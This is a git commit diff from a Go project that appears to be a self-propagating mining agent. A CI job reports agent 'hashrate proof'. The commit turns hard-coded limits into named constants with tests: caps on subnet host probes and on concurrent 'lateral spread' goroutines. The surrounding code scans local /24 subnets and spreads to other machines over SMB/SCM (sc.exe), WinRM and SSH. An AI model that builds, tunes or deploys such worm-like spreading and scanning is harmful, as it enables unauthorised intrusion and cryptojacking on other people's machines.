Add scale limit constants, stale-agent indexed query, and tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Extract fleet caps (128 hosts, sem=16, 250ms coalesce, syscheck=20) into
named constants with Go tests; wire ListStaleOnlineAgents for stale sweeps
instead of full ListAgents scans.
This commit is contained in:
AetherForge
2026-06-07 06:40:12 -07:00
parent 148c9e2248
commit 72ae457cca
12 changed files with 240 additions and 9 deletions

View File

@@ -61,9 +61,9 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
r.Neighbors.ArpHosts = arp
r.Neighbors.ArpCount = len(arp)
if subnetScanCollector != nil {
r.Neighbors.SubnetScan = subnetScanCollector(20)
r.Neighbors.SubnetScan = subnetScanCollector(SyscheckSubnetScanCap)
} else {
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(SyscheckSubnetScanCap)
}
collectSysCheckPlatform(r)

View File

@@ -0,0 +1,4 @@
package client
// SyscheckSubnetScanCap limits active /24 host probes during full_sys_check.
const SyscheckSubnetScanCap = 20

View File

@@ -0,0 +1,9 @@
package client
import "testing"
func TestSyscheckSubnetScanCap(t *testing.T) {
if SyscheckSubnetScanCap != 20 {
t.Fatalf("SyscheckSubnetScanCap = %d, want 20", SyscheckSubnetScanCap)
}
}

View File

@@ -55,10 +55,10 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
}
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
// SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, 16)
// spreadSem limits concurrent spread goroutines (SpreadConcurrencyCap) to prevent
// a goroutine storm on /24 sweeps (M20). Each attempt can block for several
// seconds on SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, SpreadConcurrencyCap)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
if ok, reason := AllowAutospread(cfg); !ok {

View File

@@ -43,8 +43,8 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
return "unix lateral spread sweep started (SSH :22)"
}
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
var spreadSem = make(chan struct{}, 16)
// spreadSem limits concurrent SSH spread goroutines (SpreadConcurrencyCap, M20).
var spreadSem = make(chan struct{}, SpreadConcurrencyCap)
func spreadUnixSubnet(cfg config.RuntimeConfig) {
if ok, reason := AllowAutospread(cfg); !ok {

View File

@@ -0,0 +1,7 @@
package deploy
// Fleet discovery and lateral spread scale ceilings (per agent).
const (
// SpreadConcurrencyCap limits concurrent spread goroutines per agent.
SpreadConcurrencyCap = 16
)

View File

@@ -0,0 +1,26 @@
package deploy
import (
"testing"
)
func TestScaleLimitConstants(t *testing.T) {
if MaxSubnetScanHosts != 128 {
t.Fatalf("MaxSubnetScanHosts = %d, want 128", MaxSubnetScanHosts)
}
if SpreadConcurrencyCap != 16 {
t.Fatalf("SpreadConcurrencyCap = %d, want 16", SpreadConcurrencyCap)
}
}
func TestScanLocalSubnetClampsToMaxHosts(t *testing.T) {
_ = ScanLocalSubnet(999)
_ = ScanLocalSubnet(0)
}
func TestDiscoverLANSpreadTargetsClampsOverCap(t *testing.T) {
targets := DiscoverLANSpreadTargets(999)
if len(targets) > MaxSubnetScanHosts {
t.Fatalf("DiscoverLANSpreadTargets ignored cap: got %d want ≤ %d", len(targets), MaxSubnetScanHosts)
}
}

View File

@@ -30,7 +30,7 @@ import (
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
// - ARP cache is consulted first (arp_*.go) before any active sweep.
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
// - Lateral spread uses spreadSem (SpreadConcurrencyCap concurrent targets) per agent.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {